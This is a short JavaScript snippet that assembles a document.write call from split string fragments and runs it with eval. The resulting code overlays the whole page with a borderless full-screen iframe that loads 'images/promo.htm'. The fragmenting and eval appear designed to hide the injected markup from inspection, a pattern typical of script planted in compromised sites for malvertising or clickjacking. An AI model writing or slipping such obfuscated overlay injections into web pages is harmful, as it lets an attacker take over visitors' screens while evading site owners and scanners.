var strings = Array(
'document.write(\'<div ',
'class="fullscrin"><i',
'frame src="images/promo.htm',
'" width="100%" he',
'ight="100%" framebor',
'der="no" /></div>\');'
);

var str = '';
for (i = 0; i < strings.length; i++) str += strings[i];
eval(str);